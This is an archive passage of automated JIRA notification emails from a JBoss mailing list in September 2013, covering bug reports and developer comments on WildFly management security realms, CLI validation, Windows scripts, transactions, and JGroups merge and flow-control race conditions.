This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 02:32:45 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Vlastimil_Eli=C3=A1=C5=A1_=28JIRA=29?=)
Date: Wed, 25 Sep 2013 02:32:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2153) FORM BASED AUTHENTICATION
	WITH JBOSS
In-Reply-To: <JIRA.12501422.1380042444000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501422.1380042444000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501422.1380042444000.2932.1380090765227@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2153?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Vlastimil Eli?? moved ORG-1803 to WFLY-2153:
--------------------------------------------

     Project: WildFly  (was: jboss.org)
         Key: WFLY-2153  (was: ORG-1803)
    Workflow: GIT Pull Request workflow   (was: JBoss Community Team workflow)
    Security:     (was: Public)

    
> FORM BASED AUTHENTICATION WITH JBOSS 
> -------------------------------------
>
>                 Key: WFLY-2153
>                 URL: https://issues.jboss.org/browse/WFLY-2153
>             Project: WildFly
>          Issue Type: Feature Request
>            Reporter: THIRUPATHIREDDY VAJJALA
>
> form based authentication always returning error page in jboss7.  
> done required configuration in web.xml (security configuration)
> standalone.xml (datasource,  security domain)
> jboss-web.xml (security domain definition  java:/jass/mydomain)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 02:46:45 2013
From: jira-events at lists.jboss.org (Ondrej Lukas (JIRA))
Date: Wed, 25 Sep 2013 02:46:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2154) http-interface is used
 instead of native-interface for native access
In-Reply-To: <JIRA.12501451.1380091595496@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501451.1380091595496@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501451.1380091595496.2936.1380091605600@jira02.app.mwc.hst.phx2.redhat.com>

Ondrej Lukas created WFLY-2154:
----------------------------------

             Summary: http-interface is used instead of native-interface for native access
                 Key: WFLY-2154
                 URL: https://issues.jboss.org/browse/WFLY-2154
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
    Affects Versions: 8.0.0.Beta1
            Reporter: Ondrej Lukas
            Assignee: Brian Stansberry
            Priority: Critical


Steps to reproduce:
1) create new Security Realm in standalone.xml:
<security-realm name="ManagementTestRealm">
	<authentication>
	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
	</authentication>
</security-realm>

2) make http-interface using this realm:
<http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
    <socket-binding http="management-http"/>
</http-interface>

3) start standalone server

4) run CLI with command ./jboss-cli -c
You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 02:48:45 2013
From: jira-events at lists.jboss.org (Ondrej Lukas (JIRA))
Date: Wed, 25 Sep 2013 02:48:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2154) http-interface is used
 instead of native-interface for native access
In-Reply-To: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501451.1380091595000.2939.1380091725705@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2154?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ondrej Lukas updated WFLY-2154:
-------------------------------

    Description: 
Steps to reproduce:
1) create new Security Realm in standalone.xml:
<security-realm name="ManagementTestRealm">
	<authentication>
	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
	</authentication>
</security-realm>

2) make http-interface using this realm:
<http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
    <socket-binding http="management-http"/>
</http-interface>

3) start standalone server

4) run CLI with command ./jboss-cli.sh -c
You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.

  was:
Steps to reproduce:
1) create new Security Realm in standalone.xml:
<security-realm name="ManagementTestRealm">
	<authentication>
	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
	</authentication>
</security-realm>

2) make http-interface using this realm:
<http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
    <socket-binding http="management-http"/>
</http-interface>

3) start standalone server

4) run CLI with command ./jboss-cli -c
You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.


    
> http-interface is used instead of native-interface for native access
> --------------------------------------------------------------------
>
>                 Key: WFLY-2154
>                 URL: https://issues.jboss.org/browse/WFLY-2154
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Ondrej Lukas
>            Assignee: Brian Stansberry
>            Priority: Critical
>
> Steps to reproduce:
> 1) create new Security Realm in standalone.xml:
> <security-realm name="ManagementTestRealm">
> 	<authentication>
> 	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
> 	</authentication>
> </security-realm>
> 2) make http-interface using this realm:
> <http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
>     <socket-binding http="management-http"/>
> </http-interface>
> 3) start standalone server
> 4) run CLI with command ./jboss-cli.sh -c
> You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 03:03:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 03:03:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2949.1380092625319@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807122#comment-12807122 ] 

Bela Ban commented on JGRP-1705:
--------------------------------

Possible solutions:
* Key {{views}} by sender and not by ViewId. This would overwrite C's INFO=A|5 with INFO=A|6 in the case where C sends multiple INFO messages before the {{views}} table is looked at by ViewConsistencyChecker
* Clear the {{views}} table after a new view is installed
* Wait for {{max_interval + offset}} after clearing {{views}} to make sure we've received all current view-ids
                
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 03:05:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 03:05:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2953.1380092745212@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807122#comment-12807122 ] 

Bela Ban edited comment on JGRP-1705 at 9/25/13 3:03 AM:
---------------------------------------------------------

Possible solutions:
* Key {{views}} by sender and not by ViewId. This would overwrite C's INFO=A|5 with INFO=A|6 in the case where C sends multiple INFO messages before the {{views}} table is looked at by ViewConsistencyChecker
* Clear the {{views}} table after a new view is installed
* Wait for {{max_interval + offset}} after clearing {{views}} (before running the ViewConsistencyChecker) to make sure we've received all current view-ids
                
      was (Author: belaban):
    Possible solutions:
* Key {{views}} by sender and not by ViewId. This would overwrite C's INFO=A|5 with INFO=A|6 in the case where C sends multiple INFO messages before the {{views}} table is looked at by ViewConsistencyChecker
* Clear the {{views}} table after a new view is installed
* Wait for {{max_interval + offset}} after clearing {{views}} to make sure we've received all current view-ids
                  
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 03:22:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 03:22:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2969.1380093765254@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807119#comment-12807119 ] 

Bela Ban edited comment on JGRP-1705 at 9/25/13 3:21 AM:
---------------------------------------------------------

I see 2 scenarios where this can happen:

h5. Member sends old view before new view is received
The InfoSender task at a member kicks in just before a new view is received, and thus the member sends the old view. Example:
* The view is \{A,B,C,D\}
* A installs new view A|5 (the old view is A|4)
* Just before receiving A|5, C's InfoSender sends an INFO with view=A|4 to the coordinator (A)
* Everybody else sends an INFO with view=A|5 to A
* A now has 2 views A|4 and A|5 and starts the merge process

Actually, before this happens, the coordinator asks A (itself) and C for their actual views and only starts the merge process if the actual views differ; this as a second line of defense against a spurious merge.


h5. Coordinator's 'views' table contains outdated information
The coordinator maintains a 'views' table, which is a hashmap keyed by ViewId. The problem is that if the coord receives 2 INFO messages from the same sender, but with different ViewIds, then the merge process is triggered as well:
* C sends INFO=A|5
* The views table contains A|5=[C]
* A installs A|6 and C sends INFO=A|6
* The views table contains A|5=[C], A|6=[C] // ommitting the INFO messages from other members

Again, fetching the real views before triggering a merge should remedy this, but there's still a time window where this can happen.

Update: actually, this can also happen *when we fetch the actual views*: if a new {{view A|5}} was installed just at the same time the ViewConsistencyChecker fetches the actual views, then some members might return {{A|4}} and others {{A|5}}.
                
      was (Author: belaban):
    I see 2 scenarios where this can happen:

h5. Member sends old view before new view is received
The InfoSender task at a member kicks in just before a new view is received, and thus the member sends the old view. Example:
* The view is \{A,B,C,D\}
* A installs new view A|5 (the old view is A|4)
* Just before receiving A|5, C's InfoSender sends an INFO with view=A|4 to the coordinator (A)
* Everybody else sends an INFO with view=A|5 to A
* A now has 2 views A|4 and A|5 and starts the merge process

Actually, before this happens, the coordinator asks A (itself) and C for their actual views and only starts the merge process if the actual views differ; this as a second line of defense against a spurious merge.


h5. Coordinator's 'views' table contains outdated information
The coordinator maintains a 'views' table, which is a hashmap keyed by ViewId. The problem is that if the coord receives 2 INFO messages from the same sender, but with different ViewIds, then the merge process is triggered as well:
* C sends INFO=A|5
* The views table contains A|5=[C]
* A installs A|6 and C sends INFO=A|6
* The views table contains A|5=[C], A|6=[C] // ommitting the INFO messages from other members

Again, fetching the real views before triggering a merge should remedy this, but there's still a time window where this can happen
                  
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 03:22:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 03:22:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2973.1380093765529@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807119#comment-12807119 ] 

Bela Ban edited comment on JGRP-1705 at 9/25/13 3:21 AM:
---------------------------------------------------------

I see 2 scenarios where this can happen:

h5. Member sends old view before new view is received
The InfoSender task at a member kicks in just before a new view is received, and thus the member sends the old view. Example:
* The view is \{A,B,C,D\}
* A installs new view A|5 (the old view is A|4)
* Just before receiving A|5, C's InfoSender sends an INFO with view=A|4 to the coordinator (A)
* Everybody else sends an INFO with view=A|5 to A
* A now has 2 views A|4 and A|5 and starts the merge process

Actually, before this happens, the coordinator asks A (itself) and C for their actual views and only starts the merge process if the actual views differ; this as a second line of defense against a spurious merge.


h5. Coordinator's 'views' table contains outdated information
The coordinator maintains a 'views' table, which is a hashmap keyed by ViewId. The problem is that if the coord receives 2 INFO messages from the same sender, but with different ViewIds, then the merge process is triggered as well:
* C sends INFO=A|5
* The views table contains A|5=[C]
* A installs A|6 and C sends INFO=A|6
* The views table contains A|5=[C], A|6=[C] // ommitting the INFO messages from other members

Again, fetching the real views before triggering a merge should remedy this, but there's still a time window where this can happen.

h5. Update
Actually, this can also happen *when we fetch the actual views*: if a new {{view A|5}} was installed just at the same time the ViewConsistencyChecker fetches the actual views, then some members might return {{A|4}} and others {{A|5}}.
                
      was (Author: belaban):
    I see 2 scenarios where this can happen:

h5. Member sends old view before new view is received
The InfoSender task at a member kicks in just before a new view is received, and thus the member sends the old view. Example:
* The view is \{A,B,C,D\}
* A installs new view A|5 (the old view is A|4)
* Just before receiving A|5, C's InfoSender sends an INFO with view=A|4 to the coordinator (A)
* Everybody else sends an INFO with view=A|5 to A
* A now has 2 views A|4 and A|5 and starts the merge process

Actually, before this happens, the coordinator asks A (itself) and C for their actual views and only starts the merge process if the actual views differ; this as a second line of defense against a spurious merge.


h5. Coordinator's 'views' table contains outdated information
The coordinator maintains a 'views' table, which is a hashmap keyed by ViewId. The problem is that if the coord receives 2 INFO messages from the same sender, but with different ViewIds, then the merge process is triggered as well:
* C sends INFO=A|5
* The views table contains A|5=[C]
* A installs A|6 and C sends INFO=A|6
* The views table contains A|5=[C], A|6=[C] // ommitting the INFO messages from other members

Again, fetching the real views before triggering a merge should remedy this, but there's still a time window where this can happen.

Update: actually, this can also happen *when we fetch the actual views*: if a new {{view A|5}} was installed just at the same time the ViewConsistencyChecker fetches the actual views, then some members might return {{A|4}} and others {{A|5}}.
                  
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 03:26:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 03:26:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2152) Windows Batch scripts
	usability fix
In-Reply-To: <JIRA.12501450.1380090498000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501450.1380090498000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501450.1380090498000.2977.1380094005283@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2152?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807126#comment-12807126 ] 

RH Bugzilla Integration commented on WFLY-2152:
-----------------------------------------------

Josef Cacek <jcacek at redhat.com> changed the Status of [bug 1010852|https://bugzilla.redhat.com/show_bug.cgi?id=1010852] from ASSIGNED to POST
                
> Windows Batch scripts usability fix
> -----------------------------------
>
>                 Key: WFLY-2152
>                 URL: https://issues.jboss.org/browse/WFLY-2152
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Scripts
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Josef Cacek
>            Assignee: Josef Cacek
>
> Character '&' in folder paths causes troubles in windows batch scripts.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 03:26:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 03:26:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2152) Windows Batch scripts
	usability fix
In-Reply-To: <JIRA.12501450.1380090498000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501450.1380090498000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501450.1380090498000.2980.1380094005435@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2152?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807127#comment-12807127 ] 

RH Bugzilla Integration commented on WFLY-2152:
-----------------------------------------------

Josef Cacek <jcacek at redhat.com> made a comment on [bug 1010852|https://bugzilla.redhat.com/show_bug.cgi?id=1010852]

PR sent: https://github.com/jbossas/jboss-eap/pull/462
                
> Windows Batch scripts usability fix
> -----------------------------------
>
>                 Key: WFLY-2152
>                 URL: https://issues.jboss.org/browse/WFLY-2152
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Scripts
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Josef Cacek
>            Assignee: Josef Cacek
>
> Character '&' in folder paths causes troubles in windows batch scripts.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 03:28:45 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Wed, 25 Sep 2013 03:28:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.2983.1380094125817@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807128#comment-12807128 ] 

Radim Vansa commented on JGRP-1675:
-----------------------------------

Ah, stupid me. I've finally realized why there may be so many requests that the OOB threadpool gets depleted. Inifinispan does GETs to both owners, waiting just for the first response. Therefore, when the request get stuck because of credits on one node, the other owner serves it and the requesting node may issue another, blocking more and more OOB threads in the node lacking credits. I should have got this way before.
So, when we run out of credits, OOB TP gets depleted and no more messages get there. Neither the credit replenishments, because several OOB packets get lost and even when the request is INTERNAL, it's ordered in relation to the OOB messages and as noone can receive these (they're dropped when we try to pass them to OOB threads), it just waits in the UNICAST tables.
The question is how we've run out of credits in the beginning, but I'd say that even situation when this happens should be handled.
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 04:14:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 04:14:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1575) jboss-cli.sh allows creation
 of an invalid jsse element within a security-domain
In-Reply-To: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494891.1371830740000.3068.1380096885351@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807141#comment-12807141 ] 

RH Bugzilla Integration commented on WFLY-1575:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> made a comment on [bug 977417|https://bugzilla.redhat.com/show_bug.cgi?id=977417]

Verified on 6.2.0.ER3
                
> jboss-cli.sh allows creation of an invalid jsse element within a security-domain
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1575
>                 URL: https://issues.jboss.org/browse/WFLY-1575
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> The jboss-cli.sh allows me to add a security-domain definition which is not valid. Apparently you *must* have a keystore-password or truststore-password, but this restriction is not enforced in the cli. 
> I do not have too deep an understanding of how the cli decides that a given attribute is required, but I have seen cases where the cli will warn me if I try to do something without all required attributes. Something similar should probably be done here.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 04:14:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 04:14:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1575) jboss-cli.sh allows creation
 of an invalid jsse element within a security-domain
In-Reply-To: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494891.1371830740000.3072.1380096885611@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807142#comment-12807142 ] 

RH Bugzilla Integration commented on WFLY-1575:
-----------------------------------------------

Ondrej Lukas <olukas at redhat.com> changed the Status of [bug 977417|https://bugzilla.redhat.com/show_bug.cgi?id=977417] from ON_QA to VERIFIED
                
> jboss-cli.sh allows creation of an invalid jsse element within a security-domain
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1575
>                 URL: https://issues.jboss.org/browse/WFLY-1575
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> The jboss-cli.sh allows me to add a security-domain definition which is not valid. Apparently you *must* have a keystore-password or truststore-password, but this restriction is not enforced in the cli. 
> I do not have too deep an understanding of how the cli decides that a given attribute is required, but I have seen cases where the cli will warn me if I try to do something without all required attributes. Something similar should probably be done here.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 04:30:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 04:30:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1460) WildFly server fails to start
 with transactions configured to be run with JDBCObject store
In-Reply-To: <JIRA.12493706.1370509487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493706.1370509487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493706.1370509487000.3091.1380097846201@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1460?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807148#comment-12807148 ] 

RH Bugzilla Integration commented on WFLY-1460:
-----------------------------------------------

Ondrej Chaloupka <ochaloup at redhat.com> made a comment on [bug 971358|https://bugzilla.redhat.com/show_bug.cgi?id=971358]

Verified for EAP 6.2.0.ER1.
                
> WildFly server fails to start with transactions configured to be run with JDBCObject store
> ------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1460
>                 URL: https://issues.jboss.org/browse/WFLY-1460
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ond?ej Chaloupka
>            Assignee: Stefano Maestri
>
> In case that you configure transactions subsystem for running with JDBCObject store the app server fails to start because of (it seems so) a circular dependency.
> You can expect the exception like:
> {code}
